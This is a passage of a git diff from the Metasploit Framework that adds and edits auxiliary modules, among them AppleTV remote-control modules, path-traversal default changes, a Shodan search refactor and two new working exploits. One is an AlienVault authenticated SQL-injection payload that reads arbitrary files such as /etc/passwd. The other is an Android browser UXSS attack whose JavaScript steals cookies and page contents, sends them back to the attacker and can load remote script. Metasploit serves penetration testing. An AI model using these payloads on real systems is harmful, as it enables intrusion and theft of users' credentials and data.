ssl_version, + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + add_socket(http) + + http.set_config('agent' => datastore['UserAgent']) + + req = http.request_raw(opts) + res = http.send_recv(req) + + Rex.sleep(datastore['TIME']) if res.code == 200 + http.close + + res + end + + + def get_image_data + File.open(datastore['FILE'], 'rb') { |f| f.read(f.stat.size) } + end + + + def show_image + image = get_image_data + + opts = { + 'method' => 'PUT', + 'uri' => '/photo', + 'data' => image + } + + res = send_image_request(opts) + + if !res + print_status("The connection timed out") + elsif res.code == 200 + print_status("Received HTTP 200") + else + print_error("The request failed due to an unknown reason") + end + end + + + def run + print_status("Image request sent. Duration set: #{datastore['TIME']} seconds") + show_image + end +end diff --git a/modules/auxiliary/admin/appletv/appletv_display_video.rb b/modules/auxiliary/admin/appletv/appletv_display_video.rb new file mode 100644 index 000000000000..511858f8a8d6 --- /dev/null +++ b/modules/auxiliary/admin/appletv/appletv_display_video.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'uri' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apple TV Video Remote Control', + 'Description' => %q( + This module plays a video on an AppleTV device. Note that + AppleTV can be somewhat picky about the server that hosts the video. + Tested servers include default IIS, default Apache, and Ruby's WEBrick. + For WEBrick, the default MIME list may need to be updated, depending on + what media file is to be played. Python SimpleHTTPServer is not + recommended. Also, if you're playing a video, the URL must be an IP + address. Some AppleTV devices are actually password-protected; in that + case please set the PASSWORD datastore option. For password + bruteforcing, please see the module auxiliary/scanner/http/appletv_login. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original work + 'sinn3r' # Make myself liable to mistakes since I made significant changes + ], + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { 'USERNAME' => 'AirPlay' }, + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(7000), + OptInt.new('TIME', [true, 'Time in seconds to show the video', 60]), + OptString.new('URL', [true, 'URL of video to show. Must use an IP address']), + OptString.new('PASSWORD', [false, 'The password for AppleTV AirPlay']) + ], self.class) + + # We're not actually using any of these against AppleTV in our Rex HTTP client init, + # so deregister them so we don't overwhelm the user with fake options. + deregister_options( + 'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count', + 'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type', + 'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case', + 'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes', + 'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params', + 'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count', + 'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST' + ) + end + + + # + # Sends a video request to AppleTV. HttpClient isn't used because we actually need to keep + # the connection alive so that the video can keep playing. + # + def send_video_request(opts) + http = nil + + http = Rex::Proto::Http::Client.new( + rhost, + rport.to_i, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + ssl, + ssl_version, + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + add_socket(http) + + http.set_config('agent' => datastore['UserAgent']) + + req = http.request_raw(opts) + res = http.send_recv(req) + Rex.sleep(datastore['TIME']) if res.code == 200 + http.close + + res + end + + + # + # Checks the URI datastore option. AppleTV is sort of picky about the URI. It's better to + # always supply an IP instead of a domain. + # + def validate_source!(uri) + unless Rex::Socket.is_ipv4?(URI(uri).host) # Same trick in target_uri form HttpClient + raise Msf::OptionValidateError.new(['URL']) + end + end + + + # + # Plays a video as a new thread + # + def play_video_uri + uri = datastore['URL'] + validate_source!(uri) + + body = "Content-Location: #{uri}\n" + body << "Start-Position: 0.0\n" + + opts = { + 'method' => 'POST', + 'uri' => '/play', + 'headers' => { + 'Content-Length' => body.length.to_s, + 'Content-Type' => 'text/parameters' + }, + 'data' => body + } + + res = send_video_request(opts) + + if !res + print_status("The connection timed out") + elsif res.code == 200 + print_status("Received HTTP 200") + else + print_error("The request failed due to an unknown reason") + end + end + + + # + # Maybe it's just me not understanding the /stop API correctly, but when I send a request to + # /stop, it doesn't actually do anything. It is sort of possible to stop my video by looking + # through framework.threads.each {|t| puts t[:tm_name]}, and then kill the right thread. But + # if there are multiple appletv_display_video running, we don't seem to have a good way to + # kill the right thread we want. We could kill them all, but we shouldn't do that. So I'll + # just leave this method here, and then we'll think about how to do it later. + # + def stop_play + raise NotImplementedError + end + + + def run + print_status("Video request sent. Duration set: #{datastore['TIME']} seconds") + play_video_uri + end + +end diff --git a/modules/auxiliary/admin/backupexec/dump.rb b/modules/auxiliary/admin/backupexec/dump.rb index dd7f914774a8..a9444e80620d 100644 --- a/modules/auxiliary/admin/backupexec/dump.rb +++ b/modules/auxiliary/admin/backupexec/dump.rb @@ -57,7 +57,7 @@ def initialize(info = {}) [ true, "The remote filesystem path to download", - "C:\\boot.ini" + "C:\\Windows\\win.ini" ] ), OptString.new('LPATH', diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb index 00ac0f04045c..d99f9dbb571a 100644 --- a/modules/auxiliary/admin/http/axigen_file_access.rb +++ b/modules/auxiliary/admin/http/axigen_file_access.rb @@ -46,7 +46,7 @@ def initialize(info = {}) OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), - OptString.new('PATH', [ true, 'The file to read or delete', "\\boot.ini" ]) + OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ]) ], self.class) end diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb index 0b45caa265b3..1d14a5368d23 100644 --- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb +++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb @@ -40,7 +40,7 @@ def run_host(target_host) res = send_request_raw( { - 'uri' => '/activeupdate/../../../../../../../../../../../boot.ini', + 'uri' => '/activeupdate/../../../../../../../../../../../windows\\win.ini', 'method' => 'GET', }, 20) @@ -52,7 +52,7 @@ def run_host(target_host) http_fingerprint({ :response => res }) if (res.code >= 200) - if (res.body =~ /boot/) + if (res.body =~ /for 16-bit app support/) vuln = "vulnerable." else vuln = "not vulnerable." diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index c34366b974f7..d3f23b6be019 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -38,7 +38,7 @@ def initialize(info = {}) [ Opt::RPORT(80), OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb OptInt.new('DEPTH', [true, 'Traversal depth', 5]) ], self.class) diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 392fabad12e2..4e712f740628 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -22,7 +22,7 @@ def initialize super( 'Name' => 'SMB File Download Utility', 'Description' => %Q{ - This module deletes a file from a target share and path. The usual reason + This module downloads a file from a target share and path. The usual reason to use this module is to work around limitations in an existing SMB client that may not be able to take advantage of pass-the-hash style authentication. }, diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index dea55ad410a5..3a3802224748 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb new file mode 100644 index 000000000000..4088609803f9 --- /dev/null +++ b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb @@ -0,0 +1,163 @@ +## +## This module requires Metasploit: http//metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", + 'Description' => %q{ + AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against + newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability + to read an arbitrary file from the file system. Any authenticated user is able to exploit + this, as administrator privileges are not required. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Hebert <chrisdhebert[at]gmail.com>' + ], + 'References' => + [ + ['OSVDB', '106815'], + ['EDB', '33317'], + ['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower'] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Privileged' => false, + 'DisclosureDate' => "May 9 2014")) + + register_options([ + Opt::RPORT(443), + OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), + OptString.new('USERNAME', [ true, 'Single username' ]), + OptString.new('PASSWORD', [ true, 'Single password' ]), + OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]), + OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60]) + ], self.class) + end + + def run + + print_status("#{peer} - Get a valid session cookie...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') + }) + + unless res && res.code == 200 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve a cookie") + return + end + + post = { + 'embed' => '', + 'bookmark_string' => '', + 'user' => datastore['USERNAME'], + 'passu' => datastore['PASSWORD'], + 'pass' => Rex::Text.encode_base64(datastore['PASSWORD']) + } + + print_status("#{peer} - Login...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'), + 'method' => 'POST', + 'vars_post' => post, + 'cookie' => cookie + }) + + unless res && res.code == 302 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/') + print_error("#{peer} - Authentication failed") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve the authenticated cookie") + return + end + + i = 0 + full = '' + filename = datastore['FILEPATH'].unpack("H*")[0] + left_marker = Rex::Text.rand_text_alpha(6) + right_marker = Rex::Text.rand_text_alpha(6) + sql_true = Rex::Text.rand_text_alpha(6) + + print_status("#{peer} - Exploiting SQLi...") + + begin + ::Timeout.timeout(datastore['SQLI_TIMEOUT']) do + loop do + file = sqli(left_marker, right_marker, sql_true, i, cookie, filename) + return if file.nil? + break if file.empty? + + str = [file].pack("H*") + full << str + vprint_status(str) + + i = i+1 + end + end + rescue ::Timeout::Error + if full.blank? + print_error("#{peer} - Timeout while exploiting sqli, nothing recovered") + else + print_error("#{peer} - Timeout while exploiting sqli, #{full.length} bytes recovered") + end + return + end + + path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH']) + print_good("File stored at path: " + path) + end + + def sqli(left_marker, right_marker, sql_true, i, cookie, filename) + pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," + pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR)," + pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" + pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}" + + get = { + 'insertafter' => pay, + 'ctx' => 0 + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'), + 'cookie' => cookie, + 'vars_get' => get + }) + + if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/ + return $1 + else + print_error("Server did not respond in an expected way") + return nil + end + end + +end diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb new file mode 100644 index 000000000000..156cf84e2d38 --- /dev/null +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -0,0 +1,240 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', + 'Description' => %q{ + This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in + all versions of Android's open source stock browser before Android 4.4. If successful, + an attacker can leverage this bug to scrape both cookie data and page contents from a + vulnerable browser window. + + If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option, + which will cause a popup window to be used. This requires a click from the user + and is much less stealthy, but is generally harmless-looking. + + By supplying a CUSTOM_JS paramter and ensuring CLOSE_POPUP is set to false, this + module also allows running aribrary javascript in the context of the targeted URL. + Some sample UXSS scripts are provided in data/exploits/uxss. + }, + 'Author' => [ + 'Rafay Baloch', # Original discovery, disclosure + 'joev' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'WebServer' ] + ], + 'PassiveActions' => [ + 'WebServer' + ], + 'References' => [ + [ 'URL', 'http://1337day.com/exploit/description/22581' ], + [ 'OSVDB', '110664' ], + [ 'CVE', '2014-6041' ] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('TARGET_URLS', [ + true, + "The comma-separated list of URLs to steal.", + 'http://example.com' + ]), + OptString.new('CUSTOM_JS', [ + false, + "A string of javascript to execute in the context of the target URLs.", + '' + ]), + OptString.new('REMOTE_JS', [ + false, + "A URL to inject into a script tag in the context of the target URLs.", + '' + ]), + OptBool.new('BYPASS_XFO', [ + false, + "Bypass URLs that have X-Frame-Options by using a one-click popup exploit.", + false + ]), + OptBool.new('CLOSE_POPUP', [ + false, + "When BYPASS_XFO is enabled, this closes the popup window after exfiltration.", + true + ]) + ], self.class) + end + + def on_request_uri(cli, request) + print_status("Request '#{request.method} #{request.uri}'") + + if request.method.downcase == 'post' + collect_data(request) + send_response_html(cli, '') + else + payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) + domains = datastore['TARGET_URLS'].split(',') + + html = <<-EOS + <html> + <body> + <script> + var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}")); + var bypassXFO = #{datastore['BYPASS_XFO']}; + var received = []; + + window.addEventListener('message', function(e) { + var data = JSON.parse(e.data); + if (!data.send) { + if (bypassXFO && data.i && received[data.i]) return; + if (bypassXFO && e.data) received.push(true); + } + var x = new XMLHttpRequest; + x.open('POST', window.location, true); + x.send(e.data); + }, false); + + function randomString() { + var str = ''; + for (var i = 0; i < 5+Math.random()*15; i++) { + str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26)) + } + return str; + } + + function installFrame(target) { + var f = document.createElement('iframe'); + var n = randomString(); + f.setAttribute('name', n); + f.setAttribute('src', target); + f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px'); + f.onload = function(){ + attack(target, n); + }; + document.body.appendChild(f); + } + + function attack(target, n, i, cachedN) { + var exploit = function(){ + window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+ + 'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+ + 'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+ + '));}void(0);', n); + } + if (!n) { + n = cachedN || randomString(); + var closePopup = #{datastore['CLOSE_POPUP']}; + var w = window.open(target, n); + var deadman = setTimeout(function(){ + clearInterval(clear); + clearInterval(clear2); + attack(targets[i], null, i, n); + }, 10000); + var clear = setInterval(function(){ + if (received[i]) { + if (i < targets.length-1) { + try{ w.stop(); }catch(e){} + try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){} + } + + clearInterval(clear); + clearInterval(clear2); + clearTimeout(deadman); + + if (i < targets.length-1) { + setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100); + } else { + if (closePopup) w.close(); + } + } + }, 50); + var clear2 = setInterval(function(){ + try { + if (w.location.toString()) return; + if (w.document) return; + } catch(e) {} + clearInterval(clear2); + clear2 = setInterval(exploit, 50); + },20); + } else { + exploit(); + } + } + + var clickedOnce = false; + function onclickHandler() { + if (clickedOnce) return false; + clickedOnce = true; + attack(targets[0], null, 0); + return false; + } + + window.onload = function(){ + if (bypassXFO) { + document.querySelector('#click').style.display='block'; + window.onclick = onclickHandler; + } else { + for (var i = 0; i < targets.length; i++) { + installFrame(targets[i]); + } + } + } + </script> + <div style='text-align:center;margin:20px 0;font-size:22px;display:none' + id='click' onclick='onclickHandler()'> + The page has moved. <a href='#'>Click here to be redirected.</a> + </div> + </body> + </html> + EOS + + print_status("Sending initial HTML ...") + send_response_html(cli, html) + end + end + + def collect_data(request) + response = JSON.parse(request.body) + url = response['url'] + if response && url + file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss") + print_good "Collected data from URL: #{url}" + print_good "Saved to: #{file}" + end + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + def custom_js + rjs_hook + datastore['CUSTOM_JS'] + end + + def rjs_hook + remote_js = datastore['REMOTE_JS'] + if remote_js.present? + "var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); " + else + '' + end + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/gather/chromecast_wifi.rb b/modules/auxiliary/gather/chromecast_wifi.rb index dbcf693a9a0e..409f3c8e8397 100644 --- a/modules/auxiliary/gather/chromecast_wifi.rb +++ b/modules/auxiliary/gather/chromecast_wifi.rb @@ -30,41 +30,41 @@ def initialize(info = {}) def run res = scan - if res && res.code == 200 - waps = Rex::Ui::Text::Table.new( - 'Header' => 'Wireless Access Points', - 'Columns' => [ - 'BSSID', - 'PWR', - 'ENC', - 'CIPHER', - 'AUTH', - 'ESSID' - ], - 'SortIndex' => -1 - ) + return unless res && res.code == 200 - JSON.parse(res.body).each do |wap| - waps << [ - wap['bssid'], - wap['signal_level'], - enc(wap), - cipher(wap), - auth(wap), - wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '') - ] - end - - print_line(waps.to_s) - - report_note( - :host => rhost, - :port => rport, - :proto => 'tcp', - :type => 'chromecast.wifi', - :data => waps.to_csv - ) + waps = Rex::Ui::Text::Table.new( + 'Header' => 'Wireless Access Points', + 'Columns' => [ + 'BSSID', + 'PWR', + 'ENC', + 'CIPHER', + 'AUTH', + 'ESSID' + ], + 'SortIndex' => -1 + ) + + JSON.parse(res.body).each do |wap| + waps << [ + wap['bssid'], + wap['signal_level'], + enc(wap), + cipher(wap), + auth(wap), + wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '') + ] end + + print_line(waps.to_s) + + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :type => 'chromecast.wifi', + :data => waps.to_csv + ) end def scan diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index d7ccae9a29d4..3c588789783b 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -5,7 +5,8 @@ require 'msf/core' require 'rex' -require 'net/dns' +require 'net/https' +require 'uri' class Metasploit4 < Msf::Auxiliary @@ -16,170 +17,171 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'Shodan Search', 'Description' => %q{ - This module uses the SHODAN API to query the database and - returns the first 50 IPs. SHODAN accounts are free & output - can be sent to a file for use by another program. Results - can also populated into the services table in the database. - NOTE: SHODAN filters (port, hostname, os, geo, city) can be - used in queries, but the free API does not allow net, country, - before, and after filters. An unlimited API key can be - purchased from the Shodan site to use those queries. The 50 - result limit can also be raised to 10,000 for a small fee. - API: http://www.shodanhq.com/api_doc - FILTERS: http://www.shodanhq.com/help/filters + This module uses the Shodan API to search Shodan. Accounts are free + and an API key is required to used this module. Output from the module + is displayed to the screen and can be saved to a file or the MSF database. + NOTE: SHODAN filters (i.e. port, hostname, os, geo, city) can be used in + queries, but there are limitations when used with a free API key. Please + see the Shodan site for more information. + Shodan website: https://www.shodan.io/ + API: https://developer.shodan.io/api }, 'Author' => [ - 'John Sawyer <johnhsawyer[at]gmail.com>', #sploitlab.com - 'sinn3r' #Metasploit-fu plus other features + 'John H Sawyer <john[at]sploitlab.com>', # InGuardians, Inc. + 'sinn3r' # Metasploit-fu plus other features ], 'License' => MSF_LICENSE - )) + ) + ) - # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'DOMAIN', - 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', - 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2','SSL') + deregister_options('RHOST', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM', + 'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') register_options( [ - OptString.new('SHODAN_APIKEY', [true, "The SHODAN API key"]), - OptString.new('QUERY', [true, "Keywords you want to search for"]), - OptString.new('OUTFILE', [false, "A filename to store the list of IPs"]), - OptBool.new('DATABASE', [false, "Add search results to the database", false]), - OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1]), - OptString.new('FILTER', [false, 'Search for a specific IP/City/Country/Hostname']), - OptString.new('VHOST', [true, 'The virtual host name to use in requests', 'www.shodanhq.com']), + OptString.new('SHODAN_APIKEY', [true, 'The SHODAN API key']), + OptString.new('QUERY', [true, 'Keywords you want to search for']), + OptString.new('OUTFILE', [false, 'A filename to store the list of IPs']), + OptBool.new('DATABASE', [false, 'Add search results to the database', false]), + OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]), + OptRegexp.new('REGEX', [true, 'Regex search for a specific IP/City/Country/Hostname', '.*']) + ], self.class) end # create our Shodan query function that performs the actual web request def shodan_query(query, apikey, page) # send our query to Shodan - uri = "/api/search?&q=" + Rex::Text.uri_encode(query) + "&key=" + apikey + "&page=" + page.to_s - res = send_request_raw( - { - 'rhost' => shodan_rhost, - 'rport' => shodan_rport, - 'vhost' => vhost, - 'method' => 'GET', - 'uri' => uri - }, 25) - - # Check if we got a response, parse the JSON, and return it - if (res) + uri = URI.parse('https://api.shodan.io/shodan/host/search?query=' + + Rex::Text.uri_encode(query) + '&key=' + apikey + '&page=' + page.to_s) + http = Net::HTTP.new(uri.host, uri.port) + http.use_ssl = true + request = Net::HTTP::Get.new(uri.request_uri) + res = http.request(request) + + if res and res.body =~ /<title>401 Unauthorized<\/title>/ + fail_with(Failure::BadConfig, '401 Unauthorized. Your SHODAN_APIKEY is invalid') + end + + # Check if we can resolve host, got a response, + # then parse the JSON, and return it + if res results = ActiveSupport::JSON.decode(res.body) return results else - return 'server_error' + return 'server_response_error' end end + # save output to file def save_output(data) - f = ::File.open(datastore['OUTFILE'], "wb") - f.write(data) - f.close - print_status("Save results in #{datastore['OUTFILE']}") + ::File.open(datastore['OUTFILE'], 'wb') do |f| + f.write(data) + print_status("Saved results in #{datastore['OUTFILE']}") + end end + # Check to see if api.shodan.io resolves properly def shodan_rhost - @res = Net::DNS::Resolver.new() - dns_query = @res.query("#{datastore['VHOST']}", "A") + @res = Net::DNS::Resolver.new + dns_query = @res.query('api.shodan.io', 'A') if dns_query.answer.length == 0 - print_error("Could not resolve #{datastore['VHOST']}") - raise ::Rex::ConnectError(vhost, shodan_port) + print_error('Could not resolve api.shodan.io') + raise ::Rex::ConnectError('api.shodan.io', '443') end dns_query.answer[0].to_s.split(/[\s,]+/)[4] end - def shodan_rport - 80 - end - def run + # check to ensure api.shodan.io is resolvable + shodan_rhost # create our Shodan request parameters query = datastore['QUERY'] apikey = datastore['SHODAN_APIKEY'] - page = 1 + maxpage = datastore['MAXPAGE'] # results gets our results from shodan_query results = [] results[page] = shodan_query(query, apikey, page) - if results[page].empty? - print_error("No Results Found!") - return + if results[page]['total'].nil? || results[page]['total'] == 0 + print_error('No Results Found!') end # Determine page count based on total results - if results[page]['total']%50 == 0 - tpages = results[page]['total']/50 + if results[page]['total'] % 100 == 0 + tpages = results[page]['total'] / 100 else - tpages = results[page]['total']/50 + 1 + tpages = results[page]['total'] / 100 + 1 + maxpage = tpages if datastore['MAXPAGE'] > tpages end # start printing out our query statistics - print_status("Total: #{results[page]['total']} on #{tpages} pages. Showing: #{datastore['MAXPAGE']}") - print_status("Country Statistics:") - results[page]['countries'].each { |ctry| - print_status "\t#{ctry['name']} (#{ctry['code']}): #{ctry['count']}" - } - - # If search results greater than 50, loop & get all results - print_status("Collecting data, please wait...") - if (results[page]['total'] > 50) + print_status("Total: #{results[page]['total']} on #{tpages} " + + "pages. Showing: #{maxpage} page(s)") + + # If search results greater than 100, loop & get all results + print_status('Collecting data, please wait...') + if results[page]['total'] > 100 page += 1 - while page <= tpages - results[page] = shodan_query(query, apikey, page) - page +=1 + while page <= maxpage break if page > datastore['MAXPAGE'] + results[page] = shodan_query(query, apikey, page) + page += 1 end end # Save the results to this table tbl = Rex::Ui::Text::Table.new( - 'Header' => 'IP Results', + 'Header' => 'Search Results', 'Indent' => 1, - 'Columns' => ['IP', 'City', 'Country', 'Hostname'] + 'Columns' => ['IP:Port', 'City', 'Country', 'Hostname'] ) - # Organize results and put them into the table - page = 1 - my_filter = datastore['FILTER'] - for i in page..tpages - next if results[i].nil? or results[i]['matches'].nil? - results[i]['matches'].each { |host| - - city = host['city'] || 'N/A' - ip = host['ip'] || 'N/A' + # Organize results and put them into the table and database + p = 1 + regex = datastore['REGEX'] if datastore['REGEX'] + while p <= maxpage + break if p > maxpage + results[p]['matches'].each do |host| + city = host['location']['city'] || 'N/A' + ip = host['ip_str'] || 'N/A' port = host['port'] || '' - country = host['country_name'] || 'N/A' + country = host['location']['country_name'] || 'N/A' hostname = host['hostnames'][0] data = host['data'] - if ip =~ /#{my_filter}/ or - city =~ /#{my_filter}/i or - country =~ /#{my_filter}/i or - hostname =~ /#{my_filter}/i or - data =~ /#{my_filter}/i - # Unfortunately we cannot display the banner properly, - # because it messes with our output format - tbl << ["#{ip}:#{port}", city, country, hostname] + report_host(:host => ip, + :name => hostname, + :comments => 'Added from Shodan', + :info => host['info'] + ) if datastore['DATABASE'] + + report_service(:host => ip, + :port => port, + :info => 'Added from Shodan' + ) if datastore['DATABASE'] + + if ip =~ regex || + city =~ regex || + country =~ regex || + hostname =~ regex || + data =~ regex + # Unfortunately we cannot display the banner properly, + # because it messes with our output format + tbl << ["#{ip}:#{port}", city, country, hostname] end - } + end + p += 1 end - #Show data and maybe save it if needed - print_line("\n#{tbl.to_s}") - - report_note( - :type => 'shodan', - :data => tbl.to_csv - ) if datastore['DATABASE'] - - save_output(tbl.to_s) if not datastore['OUTFILE'].nil? + # Show data and maybe save it if needed + print_line + print_line("#{tbl}") + save_output(tbl) if datastore['OUTFILE'] end end diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index c44bd6a52e7c..f94c8d1c9144 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -54,6 +54,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::AFP.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb index aee6cd529456..f8583f27b31c 100644 --- a/modules/auxiliary/scanner/chargen/chargen_probe.rb +++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb @@ -9,8 +9,11 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner + include Msf::Exploit::Capture include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::DRDoS + include Msf::Auxiliary::UDPScanner def initialize super( @@ -45,24 